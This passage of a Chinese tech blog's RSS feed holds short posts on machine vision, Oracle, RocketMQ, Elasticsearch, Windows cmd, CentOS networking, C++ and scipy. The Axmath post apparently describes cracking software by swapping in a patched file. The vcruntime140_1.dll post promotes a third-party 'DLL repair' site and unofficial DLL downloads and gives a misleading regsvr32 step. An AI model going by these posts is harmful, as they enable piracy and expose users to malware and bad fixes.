      <description>一、基本理论 1.定义：以像素的灰度值作为分析单位 团块分析 像素颗粒分析&#xA;适应条件：光照稳定 干扰少 对比度明显&#xA;基本流程：采集--》预处理（ROI 去噪 几何变换 拉开对比度）-》分割（二值化 形态学 特征选 择）-》计算显示&#xA;二值化：根据灰度值范围将像素分为两部分的过程二值化 这个灰度范围值叫做阈值&#xA;区域：像素的集合&#xA;灰度直方图：对一幅图像的灰度值进行一个概率统计（像素个数）&#xA;区域形态学：&#xA;1.区域膨胀和区域闭运算是增加区域像素 区域腐蚀和区域开运算减少区域像素&#xA;2.在相同的结构元素半径下，区域膨胀比区域闭运算增加多 ，区域腐蚀比区域开运算元素减少的多&#xA;3.结构元素半径越大，增加减少的区域像素越多&#xA;4.结构元素是什么形状，区k域形态学处理后就越接近什么形状&#xA;连通域：具有4邻域或者8邻域关系的区域集合称为一个连通域 特征直方图：对区域进行特征的一个概率统计（区域个数)&#xA;颜色模型：RGB HSV(色度 饱和度 亮度)&#xA;二、算子 1.二值化算子 a.全局二值化 输入图像 输出区域 最小灰度值 最大灰度值&#xA;threshold (ImageReduced, Regions, 13, 43)&#xA;b.&#xA;binary_threshold (ImageScaled, Region, &#39;smooth_histo&#39;, &#39;light&#39;, UsedThreshold)//二值化--适合黑白分明&#xA;输入图像 输出区域 算法（大津阈值(利用求最大平法差的手法) 平滑直方图） 亮暗选择 输出阈值&#xA;c.动态阈值&#xA;输入图像 输出图像 均值&#xA;mean_image (GrayImage, ImageMean, 119, 119) //求均值滤波&#xA;输入图像1 输入图像2 输出区域 偏移值 亮暗选择</description>
    </item>
    <item>
      <title>windows安装后oracle无法登录ORA-01031: insufficient privileges</title>
      <link>https://bchobby.github.io/posts/e0da7c226a89a22daf9d22b72f95767d/</link>
      <pubDate>Sun, 03 Sep 2023 12:49:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0da7c226a89a22daf9d22b72f95767d/</guid>
      <description>问题现象 安装oracle后，使用sqlplus / as sysdba 发现无法登录，提示:&#xA;PS C:\Users\Administrator&amp;gt; sqlplus / as sysdba SQL*Plus: Release 11.2.0.1.0 Production on 星期一 12月 28 00:02:39 2020 Copyright (c) 1982, 2010, Oracle. All rights reserved. ERROR: ORA-01031: insufficient privileges 经度娘提示，说是需要查看本地用户和组管理，于是乎与打开了计算机管理页面，发现没有用户和组&#xA;按照这个思路去添加用户和组，在ctrl+r运行界面，输入mmc，选择添加，发现还是无法添加&#xA;打开用户管理界面。发现根本看不了用户和组，这个时候搜到一条方案：链接: link.&#xA;即是用net localgroup命令&#xA;PS C:\Users\Administrator&amp;gt; net localgroup ora_dba administrator /add 命令成功完成。 PS C:\Users\Administrator&amp;gt; net localgroup ora_dba 别名 ora_dba 注释 Oracle DBA Group 成员 ------------------------------------------------------------------------------- Administrator NT AUTHORITY\SYSTEM 命令成功完成。 此时再使用sqlplus / as sysdba,发现登录就正常了。</description>
    </item>
    <item>
      <title>如何一键提取Word里面的图片？</title>
      <link>https://bchobby.github.io/posts/ab6019f130bb3b2fc80840c54baa0a9b/</link>
      <pubDate>Sun, 03 Sep 2023 11:57:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab6019f130bb3b2fc80840c54baa0a9b/</guid>
      <description>最近在网上下载了一些word格式的文档，需要把其中一些图片提取出来，试用了如下方法：&#xA;1、用word另存为 右键点击word里面的图片，选择『另存为图片』，这种方法适合图片比较少的情况下，如果图片很多，需要全部提取出来，就比较麻烦了&#xA;2、使用工具提取 打开这个网站&#xA;提取Word图片 - www.strerr.com&#xA;选择docx文件，即可提取全部图片，可以支持单独导出图片和批量导出图片</description>
    </item>
    <item>
      <title>RocketMQ的NameServer</title>
      <link>https://bchobby.github.io/posts/600648bcd273830fbff7b6e41ead5df8/</link>
      <pubDate>Sun, 03 Sep 2023 10:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/600648bcd273830fbff7b6e41ead5df8/</guid>
      <description>NameServer的设计：&#xA;(1)NameServer互相独立，彼此没有通信关系，单台NameServer挂掉，不影响其他NameServer。&#xA;(2) NameServer不去连接别的机器，不主动推消息。&#xA;(3)单个Broker (Master、Slave)与所有NameServer进行定时注册，以便告知NameServer自己还活着。&#xA;Broker每隔30秒向所有NameServer发送心跳，心跳包含了自身的topic配置信息。&#xA;NameServer每隔10秒，扫描所有还存活的broker连接,如果某个连接的最后更新时间&#xA;与当前时间差值超过2分钟，则断开此连接，NameServer也会断开此broker下所有与slave的连接。同时更新topic与队列的对应关系，但不通知生产者和消费者。&#xA;Broker slave同步或者异步从Broker master上拷贝数据。&#xA;(4)Consumer随机与一个NameServer建立长连接，如果该NameServer断开，则从NameServer列表中查找下一个进行连接。&#xA;Consumer主要从NameServer中根据Topic查询Broker的地址，查到就会缓存到客户端，并向提供Topic服务的Master、Slave建立长连接，且定时向Master、Slave发送心跳。&#xA;如果Broker宕机，则NameServer 会将其剔除，而Consumer端的定时任务MQClientInstance.this.updateTopicRouteInfoFromNameserver每30秒执行一次，将Topic对应的Broker地址拉取下来，此地址只有Slave地址了，此时Consumer从Slave上消费。&#xA;消费者与Master和Slave都建有连接，在不同场景有不同的消费规则。&#xA;(5)Producer随机与一个NameServer建立长连接，每隔30秒(此处时间可配置)从NameServer获取Topic的最新队列情况，如果某个Broker Master宕机，Producer最多30秒才能感知，在这个期间，发往该broker master的消息失败。Producer向提供Topic服务的Master建立长连接，且定时向Master发送心跳。&#xA;生产者与所有的master连接，但不能向slave写入。&#xA;客户端是先从NameServer寻址的，得到可用Broker的IP和端口信息，然后据此信息连接broker。&#xA;综上所述，NameServer在RocketMQ中的作用：&#xA;(1)NameServer用来保存活跃的broker列表，包括Master和Slave。&#xA;(2)NameServer用来保存所有topic和该topic 所有队列的列表。&#xA;(3)NameServer用来保存所有broker的Filter 列表。&#xA;(4)命名服务器为客户端，包括生产者,消费者和命令行客户端提供最新的路由信息。&#xA;RocketMQ为什么不使用ZooKeeper而自己开发NameServer？&#xA;在服务发现领域，ZooKeeper 根本就不能算是最佳的选择。&#xA;(1)注册中心是CP还是AP系统？&#xA;在分布式系统中，即使是对等部署的服务，因为请求到达的时间，硬件的状态，操作系统的调度，虚拟机的GC等，任何一个时间点，这些对等部署的节点状态也不可能完全一致，而流量不一致的情况下，只要注册中心在A承诺的时间内(例如1s内)将数据收敛到一致状态(即满足最终一致)，流量将很快趋于统计学意义上的一致，所以注册中心以最终一致的模型设计在生产实践中完全可以接受。&#xA;(2)分区容忍及可用性需求分析实践中，注册中心不能因为自身的任何原因破坏服务之间本身的可连通性，这是注册中心设计应该遵循的铁律！&#xA;在CAP的权衡中，注册中心的可用性比数据强一致性更宝贵，所以整体设计更应该偏向AP，而非CP，数据不一致在可接受范围，而P下舍弃A却完全违反了注册中心不能因为自身的任何原因破坏服务本身的可连通性的原则。&#xA;(3)服务规模、容量、服务联通性&#xA;当数据中心服务规模超过一定数量，作为注册中心的ZooKeeper性能堪忧。&#xA;在服务发现和健康监测场景下，随着服务规模的增大，无论是应用频繁发布时的服务注册带来的写请求，还是刷毫秒级的服务健康状态带来的写请求，还是恨不能整个数据中心的机器或者容器皆与注册中心有长连接带来的连接压力上，ZooKeeper很快就会力不从心，而ZooKeeper的写并不是可扩展的，不可以通过加节点解决水平扩展性问题。&#xA;(4)注册中心需要持久存储和事务日志么?需要,也不需要。&#xA;在服务发现场景中，其最核心的数据——实时的健康的服务的地址列表，真的需要数据持久化么？不需要&#xA;在服务发现中，服务调用发起方更关注的是其要调用的服务的实时的地址列表和实时健康状态，每次发起调用时，并不关心要调用的服务的历史服务地址列表、过去的健康状态。&#xA;但是一个完整的生产可用的注册中心，除了服务的实时地址列表以及实时的健康状态之外，还会存储一些服务的元数据信息，例如服务的版本，分组，所在的数据中心，权重，鉴权策略信息，服务标签等元数据，这些数据需要持久化存储，并且注册中心应该提供对这些元数据的检索的能力。&#xA;(5)服务健康检查&#xA;使用ZooKeeper作为服务注册中心时，服务的健康检测绑定在了ZooKeeper对于Session的健康监测上，或者说绑定在TCP长链接活性探测上了。&#xA;ZK与服务提供者机器之间的TCP长链接活性探测正常的时候，该服务就是健康的么？答案当然是否定的！注册中心应该提供更丰富的健康监测方案，服务的健康与否的逻辑应该开放给服务提供方自己定义，而不是一刀切搞成了TCP活性检测！&#xA;健康检测的一大基本设计原则就是尽可能真实的反馈服务本身的真实健康状态，否则一个不敢被服务调用者相信的健康状态判定结果还不如没有健康检测。&#xA;(5)注册中心的容灾考虑&#xA;如果注册中心(Registry)本身完全宕机了，服务调用链路应该受到影响么？不应该受到影响。&#xA;服务调用(请求响应流)链路应该是弱依赖注册中心，必须仅在服务发布，机器上下线，服务扩缩容等必要时才依赖注册中心。&#xA;这需要注册中心仔细的设计自己提供的客户端，客户端中应该有针对注册中心服务完全不可用时做容灾的手段，例如设计客户端缓存数据机制就是行之有效的手段。另外，注册中心的健康检查机制也要仔细设计以便在这种情况不会出现诸如推空等情况的出现。&#xA;ZooKeeper的原生客户端并没有这种能力，所以利用ZooKeeper实现注册中心的时候我们一定要问自己，如果把ZooKeeper所有节点全干掉，你生产上的所有服务调用链路能不受任何影响么？&#xA;阿里巴巴是不是完全没有使用ZooKeeper？并不是。&#xA;熟悉阿里巴巴技术体系的都知道，其实阿里巴巴维护了目前国内最大规模的ZooKeeper集群，整体规模有近千台的ZooKeeper服务节点。&#xA;在粗粒度分布式锁，分布式选主，主备高可用切换等不需要高TPS支持的场景下有不可替代的作用，而这些需求往往多集中在大数据、离线任务等相关的业务领域，因为大数据领域，讲究分割数据集，并且大部分时间分任务多进程/线程并行处理这些数据集，但是总是有一些点上需要将这些任务和进程统一协调，这时候就是ZooKeeper发挥巨大作用的用武之地。&#xA;但是在交易场景交易链路上，在主业务数据存取，大规模服务发现、大规模健康监测等方面有天然的短板，应该竭力避免在这些场景下引入ZooKeeper，在阿里巴巴的生产实践中，应用对ZooKeeper申请使用的时候要进行严格的场景、容量、SLA需求的评估.</description>
    </item>
    <item>
      <title>Elasticsearch 简介</title>
      <link>https://bchobby.github.io/posts/4c3593729e4375e5231ad856f0dc36ba/</link>
      <pubDate>Sun, 03 Sep 2023 10:13:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c3593729e4375e5231ad856f0dc36ba/</guid>
      <description>Elasticsearch 是一个非常强大的搜索引擎。它目前被广泛地使用于各个 IT 公司。Elasticsearch 是由 Elastic 公司创建。它的代码位于 GitHub - elastic/elasticsearch: Free and Open, Distributed, RESTful Search Engine。Elasticsearch 是一个分布式、免费和开放的搜索和分析引擎，适用于所有类型的数据，包括文本、数字、地理空间、结构化和非结构化数据。 Elasticsearch 基于 Apache Lucene 构建，并于 2010 年由 Elasticsearch N.V. 首次发布（现在称为 Elastic）。Elasticsearch 以其简单的 REST API、分布式特性、速度和可扩展性而闻名，是 Elastic Stack 的核心组件，Elastic Stack 是一组用于数据摄取、丰富、存储、分析和可视化的免费开放工具。 通常被称为 ELK Stack。Elastic 公司也同时拥有 Logstash 及 Kibana 开源项目。这个三个项目组合在一起，就形成了 ELK 软件栈。他们三个共同形成了一个强大的生态圈。简单地说，Logstash 负责数据的采集，处理（丰富数据，数据转换等），Kibana 负责数据展示，分析，管理，监督，警报及方案。Elasticsearch 处于最核心的位置，它可以帮我们对数据进行存储，并快速地搜索及分析数据。随着后来的 Beats 加入，ELK 软件栈，也被称为 ELKB。&#xA;事实上 Elasticsearch 的完整栈有如下的几个：&#xA;BeatsElasticsearchKibanaLogstash Beats 是一些轻量级可以允许在客户端服务器中的代理。它并不需要部署到我们的 Elastic 云中。它可以帮我们收集所有需要的事件。如果把 Beats 也纳入到我的架构中，那么 Elastic 的栈可以表述为：&#xA;在上面是一个典型的运用 Elastic Stack 的架构。我们通常不会在客户端直接调用 Elasticsearch 的 REST 接口。取而代之的是，我们使用一个 Search Service 作为中间接口。Search Service 再向 Elasticsearch 发送请求。我们可以通过 Beats 来采集 service 的日志及指标信息，我们甚至可以使用 Elastic Stack 所提供的 APM （应用性能监控）来监控应用及服务的性能并调优。Beats 所收集的信息，我们可以直接发送至 Elasticsearch，也可以发送至 Logstash 对数据做更进一步的加工（丰富，转换，删除，结构化等）再发送至 Elasticsearch。我们可以通过 Kibana 对数据进行可视化，分析，管理，对服务进行监控等。</description>
    </item>
    <item>
      <title>Windows命令行初步：更改配色、提示符以及编码方式</title>
      <link>https://bchobby.github.io/posts/4127fd555a75b35a5a2208ea1e20a727/</link>
      <pubDate>Sun, 03 Sep 2023 09:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4127fd555a75b35a5a2208ea1e20a727/</guid>
      <description>文章目录 启动和退出窗口标题和提示符命令行颜色更改编码 启动和退出 按下win+R，调出运行窗口，输入cmd就可以进入命令行了。在Win10以前的系统种，如果在命令行中再输入一个cmd，就会再打开一个命令行。但最近的Win11版本中，已经默认WT作为命令行的界面，所以在命令行输入wt才会再打开一个命令行。&#xA;exit命令可以退出命令行；cls可以清屏；help可以调出帮助信息，这三个命令应该是除了help之外最基础的了。&#xA;窗口标题和提示符 通过title命令可以更改窗口标题，例如在命令行中输入&#xA;&amp;gt;title 命令行初步 当前选项卡的标题就会编程命令行初步，立竿见影。&#xA;每次输入命令，命令前面的&amp;gt;一般被称为提示符，这个也是可以修改的，用到的指令是prompt，其后面跟着的代码可以决定提示符的具体符号，其对照表如下&#xA;代码符号代码符号$A&amp;amp; (与号)$B| (坚线)$C( (左括号)$D当前日期$E转义码(ASCII 码 27)$F) (右括号)$G&amp;gt; (大于号)$HBackspace (删除前一个字符)$L&amp;lt; (小于号)$N当前驱动器$P当前驱动器及路径$Q= (等号)$S(空格)$T当前时间$VWindows 版本号$_回车换行符$$$ (美元符号) 这些代码可以相互组合，一般默认组合是 P P PG，就是当前驱动器及路径后面跟着&amp;gt;。如果想将其改为时间和大于号，则只需输入prompt $T$G，效果如下&#xA;&amp;gt;prompt prompt $T$G 13:11:34.44&amp;gt; 13:11:35.28&amp;gt; 13:11:36.07&amp;gt; 命令行颜色 通过color命令，可以设置命令行的前景色和背景色，其命令格式为color后加一个两位十六进制数，分别对应背景色和前景色。数值和颜色的对应关系如下&#xA;数值颜色数值颜色0黑色8灰色1蓝色9淡蓝色2绿色A淡绿色3浅绿色B淡浅绿色4红色C淡红色5紫色D淡紫色6黄色E淡黄色7白色F亮白色 效果如下&#xA;更改编码 chcp指令可以更改命令行的代码页，也即编码方式。如果不加参数，会返回当前编码的序号&#xA;&amp;gt;chcp 活动代码页: 936 936代表GBK。UTF-8编码为65001，故输入chcp 65001便可将编码改为utf-8。很多时候命令行无法正确显示输出，都是这个原因引起的。&#xA;比如在vim中编辑一个bat脚本，内容是&#xA;@echo 你好 如果代码页为936，则运行输出的结果为&#xA;13:40:00.48&amp;gt;test 浣犲ソ 当代码页更改为65001后，运行结果为&#xA;Active code page: 65001 13:40:32.88&amp;gt;test 你好 若希望永久改变编码，需要修改注册表：win+r-&amp;gt;regedit 回车-&amp;gt;找到下面的项&#xA;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor&#xA;在右侧窗口点击右键-&amp;gt;新建-&amp;gt;选择“字符串值”，添加chcp 65001。</description>
    </item>
    <item>
      <title>CentOS7虚拟机克隆后，静态IP配置不生效并且无法重启网络服务问题</title>
      <link>https://bchobby.github.io/posts/1b11880c1f2401a35c847445b97b7b37/</link>
      <pubDate>Sat, 02 Sep 2023 18:19:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b11880c1f2401a35c847445b97b7b37/</guid>
      <description>1.发现问题 在Linux中输入如下代码进入配置页面&#xA;vim /etc/sysconfig/network-scripts/ifcfg-ens33 里面数据很多，克隆完只需要更改如下数据即可&#xA;设置好后，查看本机IP地址：&#xA;ifconfig 我们可以发现IP地址并非我们设置好的静态IP地址，而是动态IP&#xA;重启网络服务&#xA;service network restart 可以发现，重启失败，有如下错误&#xA;2.解决问题 经过多方查阅，最终找到解决方案&#xA;查找到该台虚拟机的MAC地址&#xA;ip link show 如下就是这台虚拟机的MAC地址&#xA;记住这个MAC地址，回到配置页面&#xA;vim /etc/sysconfig/network-scripts/ifcfg-ens33 将MAC地址修改&#xA;重启虚拟机&#xA;reboot 重启网络服务&#xA;service network restart 我们可以发现，重启成功&#xA;再次查看Ip地址&#xA;IP地址已经修改成功</description>
    </item>
    <item>
      <title>Axmath下载安装方法详细过程</title>
      <link>https://bchobby.github.io/posts/8abe47c300b8c875eb540402c9a0c328/</link>
      <pubDate>Sat, 02 Sep 2023 12:49:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8abe47c300b8c875eb540402c9a0c328/</guid>
      <description>下载软件安装包 链接: 密码tyi2&#xA;下载安装软件 先进行解压缩&#xA;进行下面软件的常规安装&#xA;我接受后选择安装文件位置一直点击下一步即可&#xA;完成安装&#xA;找到刚才下载的文件位置&#xA;打开此文件&#xA;复制安装的同名次文件&#xA;将文件粘贴到刚才安装的文件中出现包含同名文件点击替换目标中的文件</description>
    </item>
    <item>
      <title>输出变量到文件</title>
      <link>https://bchobby.github.io/posts/7932212ede9e63eaf527f1cc4b0ddada/</link>
      <pubDate>Sat, 02 Sep 2023 11:47:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7932212ede9e63eaf527f1cc4b0ddada/</guid>
      <description>C++自学精简教程 目录(必读)&#xA;在输出变量与换行显示文章中，我们看到了如何输出变量的值到控制台屏幕（黑窗口）。&#xA;现在我们看，如何把变量的值输出到文件：&#xA;写文件类ofstream ofstream类的对象可以用来写文件。&#xA;创建ofstream类的对象 ofstream的构造函数接收一个字符串作为参数，表示要打开（如果不存在就先创建）的文件。&#xA;#include&amp;lt;fstream&amp;gt;//需要包含头文件引用ofstream类 //在当前目录打开一个文本文件out.txt //如果这个文件不存在就先创建它，再打开 //在VS中运行程序时，当前目录指.vcxproj文件所在的目录 ofstream fout(&#34;out.txt&#34;);//创建ofstream类的对象fout，圆括号表示调用了接收一个字符串的构造函数 输出操作符&amp;lt;&amp;lt; ofstream类的对象通过输出操作符&amp;lt;&amp;lt;来输出数据到文件里。&#xA;输出操作符 fout&amp;lt;&amp;lt;变量， 表示把变量的数据写入文件中。&#xA;输出操作符本身也代表了数据的流向。&#xA;完整代码 #include&amp;lt;fstream&amp;gt;//需要包含头文件 using namespace std; int main() {&#x9;ofstream fout(&#34;out.txt&#34;);//创建ofstream类的对象fout，圆括号表示调用了接收一个字符串的构造函数 int myAge = 18; fout &amp;lt;&amp;lt; myAge &amp;lt;&amp;lt; endl;//就像使用cout一样往文件里输出18，并输出一个换行符 double pi = 3.14159; fout &amp;lt;&amp;lt; pi &amp;lt;&amp;lt; endl; long long i = 123456789123456789; fout &amp;lt;&amp;lt; i &amp;lt;&amp;lt; endl; return 0; } 运行程序：&#xA;可以看到控制台没有任何输出（因为我们是往文件中输出的）。&#xA;在当前目录中（.vcxproj文件同目录的文件夹）生成了一个out.txt文件：&#xA;out.txt和.vcxproj文件在同一个目录 输出的文件内容：&#xA;18 3.14159 123456789123456789 下一篇：从文件读取变量的值​​​​​​​</description>
    </item>
    <item>
      <title>python数学建模--非线性规划</title>
      <link>https://bchobby.github.io/posts/24edfa32ce246b42e69b7edb48e2e835/</link>
      <pubDate>Sat, 02 Sep 2023 10:58:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24edfa32ce246b42e69b7edb48e2e835/</guid>
      <description>1. 从线性规划到非线性规划 本系列的开篇我们介绍了线性规划 （Linear Programming） 并延伸到整数规划、0-1规划，以及相对复杂的固定费用问题、选址问题。这些问题的共同特点是，目标函数与约束条件都是线性函数。如果目标函数或约束条件中包含非线性函数，则是非线性规划。&#xA;通常，非线性问题都比线性问题复杂得多，困难得多，非线性规划也是这样。非线性规划没有统一的通用方法、算法来解决，各种方法都有特定的应用范围和适用条件。另一方面，很多非线性规划问题在实践中不能获得全局最优解，只能得到局部最优解或近似最优解。&#xA;这意味着什么？对于数学研究来说，这也许意味着存在新的课题和挑战，可以研究更有效的算法。确实如此，即便线性规划问题的研究也在不断前进，非线性规划问题的研究更是丰富多彩。但热闹是他们的，我什么也没有。&#xA;我所想到的，是数学建模学习/课程/竞赛的根本目的是什么？是掌握各种算法的推演，努力编程以实现，还是练习分析问题建立模型的能力，使用软件和工具求解问题的能力？显然是后者。可是，为什么培训课上老师讲的都是算法呢？到了例题例程，不是一带而过，就是跳步骤讲。听课时津津有味，下课了题目还是不会做，程序还是调不通。于是，...&#xA;不过，到了非线性规划这一课，我们发现老师也不再不厌其烦地讲算法了，不知道是讲不下去还是讲不过来了： 20世纪50年代，H.W.Kuhn 和 A.W.Tucker 提出了非线性规划的基本定理，为非线性规划奠定了理论基础 ；50、60 年代出现了许多解非线性规划问题的有效算法；80年代后，随着计算机技术的快速发展，非线性规划方法取得了长足进步，在信赖域法、稀疏拟牛顿法、并行计算、内点法和有限存储法等领域取得了丰硕的成果。&#xA;所以，没关系的，都一样——参见章北海文集。&#xA;这意味着什么呢？这意味着对于学习数学建模的小白，学会把问题简化为非线性规划的标准方程，学会按照本文的方法使用求解工具包的函数，才能求解非线性规划问题，才能完赛。&#xA;2. Scipy 库求解非线性规划问题 2.1 非线性规划问题的描述 首先，我们回顾线性规划问题的标准形式：&#xA;类似地，可以写出非线性规划的一般形式：&#xA;其中：x=[x1,...,xn]Tx=[x1,...,xn]T 为决策变量，f(x)f(x) 为目标函数，hj(x)hj(x) 和 gi(x)gi(x) 为约束条件。&#xA;由此可见，非线性规划问题，实际上就是带有约束条件的非线性函数优化问题。&#xA;按照我们的学习模式，非线性规划问题的建模和求解与线性规划问题是类似的，按照以下步骤进行：&#xA;问题定义，确定决策变量、目标函数和约束条件；模型构建，由问题描述建立数学方程，并转化为标准形式的数学模型；模型求解，用标准模型的优化算法对模型求解，得到优化结果。 2.2 Scipy 求解非线性规划问题的函数 Scipy 是 Python 算法库和数学工具包，包括最优化、线性代数、积分、插值、特殊函数、傅里叶变换、信号和图像处理、常微分方程求解等模块。&#xA;本文推荐和讲解使用 Scipy 工具包中的 optimize 模块求解常见的非线性规划问题。&#xA;scipy.optimize 模块中提供了多个用于非线性规划问题的方法，适用于不同类型的问题。&#xA;brent()：单变量无约束优化问题，混合使用牛顿法/二分法。&#xA;fmin()：多变量无约束优化问题，使用单纯性法，只需要利用函数值，不需要函数的导数或二阶导数。&#xA;leatsq()：非线性最小二乘问题，用于求解非线性最小二乘拟合问题。&#xA;minimize()：约束优化问题，使用拉格朗日乘子法将约束优化转化为无约束优化问题。&#xA;2.3 scipy.optimize.brent() 求解单变量无约束优化问题 非线性规划最简单的形式是一维搜索，一维搜索的常用方法是函数逼近法和区间收缩法。&#xA;brent() 函数是 SciPy.optimize 模块中求解单变量无约束优化问题最小值的首选方法。这是牛顿法和二分法的混合方法，既能保证稳定性又能快速收敛。&#xA;scipy.optimize.brent(func, args=(), brack=None, tol=1.48e-08, full_output=0, maxiter=500) optimize.brent() 的主要参数：&#xA;func: callable f(x,*args) 目标函数 f(x)f(x)，以函数形式表示，可以通过 *args 传递参数args: tuple　可选项，以 f(x,*args) 的形式将可变参数 p 传递给目标函数 f(x,p)f(x,p) 。brack: tuple　可选项，搜索算法的开始区间（不是指 x 的上下限） optimize.</description>
    </item>
    <item>
      <title>教你如何进行vcruntime140_1.dll文件下载安装，4种方法详细的安装方法</title>
      <link>https://bchobby.github.io/posts/df9e84f4ca73932ce16688fd50b46e5d/</link>
      <pubDate>Sat, 02 Sep 2023 10:26:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df9e84f4ca73932ce16688fd50b46e5d/</guid>
      <description>今天主要要跟大家说说vcruntime140_1.dll文件下载安装，其实要下载安装这个文件还是有不少方法的，只要不要慌，有的时候办法解决，首先我们要知道vcruntime140_1.dll是Microsoft Visual C++的一部分，是许多计算机程序运行所必需的。当遇到缺少或损坏此文件的情况时，我们需要下载并安装它。下面我会介绍4种vcruntime140_1.dll文件下载安装的方法，大家可以参考一下。&#xA;方法一：通过官方渠道下载Microsoft Visual C++软件 前面我们说了，这个vcruntime140_1.dll文件是属于Microsoft Visual C++的一个文件，所以我们下载这个软件，自然就会包含vcruntime140_1.dll文件&#xA;第一步：打开Microsoft官方网站下载Microsoft Visual C++软件&#xA;第二步：下载好和你系统版本一样的Microsoft Visual C++软件&#xA;第三步：选择与你的操作系统版本和位数相对应的下载选项。&#xA;第四步：点击下载按钮，保存文件至电脑。然后直接安装就可以了，等安装完了，那么vcruntime140_1.dll文件自然也就等于下载安装了vcruntime140_1.dll文件。&#xA;这种方法，大家要注意的是版本问题，这点是比较麻烦的，要看好。&#xA;方法二：通过dll修复工具来下载安装 我们也可以通过dll修复工具来进行下载安装vcruntime140_1.dll文件，会根据你电脑系统缺失了什么dll文件，然后自动的帮你进行下载安装缺失的dll文件，如果你缺失了vcruntime140_1.dll文件，那么就会自动的帮你修复vcruntime140_1.dll文件，并且下载安装。&#xA;第一步：在任意的浏览器上车俞入：dll修复.site 然后按确认Enter键就可以了&#xA;第二步：进入站点之后下载，直接使用就可以了&#xA;点击一键修复dll错误的按钮，就会自动的帮你扫描电脑系统中缺失的dll文件&#xA;第三步：等扫描完毕后，再点击修复，然后静待修复完成就可以了。&#xA;第四步：最后就是关机重启一下就能修复vcruntime140_1.dll完成。（也可以选择手动修复，在dll修复工具上，选择手动修复，然后输入vcruntime140_1.dll文件，直接查找，下载安装就可以了。）&#xA;DLL修复工具_一键修复所有dll缺失msvcp140.dll丢失的解决方法–电脑修复精灵&#xA;方法三：通过Windows更新进行修复 Windows操作系统的更新程序通常会包含缺失的系统文件，其中就包括vcruntime140_1.dll。&#xA;第一步：点击开始菜单，然后找到“设置”。&#xA;第二步：在设置窗口中，选择“更新和安全”。&#xA;第三步：在更新和安全窗口中，选择“检查更新”来搜索可用的更新。&#xA;第四步：如果有可用的更新，点击“下载并安装”来修复系统文件并获取vcruntime140_1.dll。&#xA;方法四：通过DLL下载网站获取 有许多专为提供缺失DLL文件而设的网站。这些网站往往会提供各种DLL文件的下载，包括vcruntime140_1.dll。&#xA;第一步：在搜索引擎中搜索“vcruntime140_1.dll下载”。&#xA;第二步：选择可靠的DLL下载网站，主要要找可靠的，正规的，不然很容易中电脑病毒，或者下载到广告。&#xA;第三步：在搜索栏中输入“vcruntime140_1.dll”，然后点击搜索按钮。&#xA;第四步：从结果中选择与你的操作系统版本和位数相对应的下载选项。&#xA;第五步：下载文件，并确保文件完整性和安全性，然后直接进行vcruntime140_1.dll文件的安装注册。最后一步就是win+r，调出命令窗口输入regsvr32 vcruntime140_1.dll回车完成注册就可以了。&#xA;以上就是关于如何进行vcruntime140_1.dll文件下载安装的一些相关分享，希望本文能帮助到大家，如果想了解更多，欢迎继续关注小编哦。</description>
    </item>
    <item>
      <title>RocketMQ的Broker</title>
      <link>https://bchobby.github.io/posts/c449a2b270e53c62c5dd7fad38069690/</link>
      <pubDate>Sat, 02 Sep 2023 09:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c449a2b270e53c62c5dd7fad38069690/</guid>
      <description>1 Broker角色&#xA;Broker角色分为ASYNC_MASTER (异步主机)、SYNC_MASTER (同步主机)以及SLAVE (从机)。如果对消息的可靠性要求比较严格，可以采用SYNC_MASTER加SLAV E的部署方式。如果对消息可靠性要求不高，可以采用ASYNC_MASTER加ASL AVE的部署方式。如果只是测试方便，则可以选择仅ASYNC_MASTER或仅SYNC_MASTER的部署方式。&#xA;2 FlushDiskType&#xA;SYNC_FLUSH (同步刷新)相比于ASYNC_FLUSH (异步处理)会损失很多性能，但是也更可靠，所以需要根据实际的业务场景做好权衡。&#xA;3 Broker配置&#xA;参数名&#xA;默认值&#xA;说明&#xA;listenPort&#xA;10911&#xA;接受客户端连接的监听端口&#xA;namesrvAddr&#xA;null&#xA;nameServer 地址&#xA;brokerIP1&#xA;网卡的 InetAddress&#xA;当前 broker 监听的 IP&#xA;brokerIP2&#xA;跟 brokerIP1 一样&#xA;存在主从 broker 时，如果在 broker 主节点上配置了 brokerIP2 属性，&#xA;broker 从节点会连接主节点配置的 brokerIP2 进行同步&#xA;brokerName&#xA;null&#xA;broker 的名称&#xA;brokerClusterName&#xA;DefaultCluster&#xA;本 broker 所属的 Cluser 名称&#xA;brokerId&#xA;0&#xA;broker id, 0 表示 master，其他的正整数表示 slave&#xA;storePathCommitLog&#xA;$HOME/store/commitlog/&#xA;存储 commit log的路径</description>
    </item>
    <item>
      <title>计算机毕业设计ssm基于JavaWeb的宠物领养管理系统的设计与实现b98ry9 （附源码）轻松不求人</title>
      <link>https://bchobby.github.io/posts/114ef97716913372107b10ab96ab1001/</link>
      <pubDate>Fri, 01 Sep 2023 23:18:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/114ef97716913372107b10ab96ab1001/</guid>
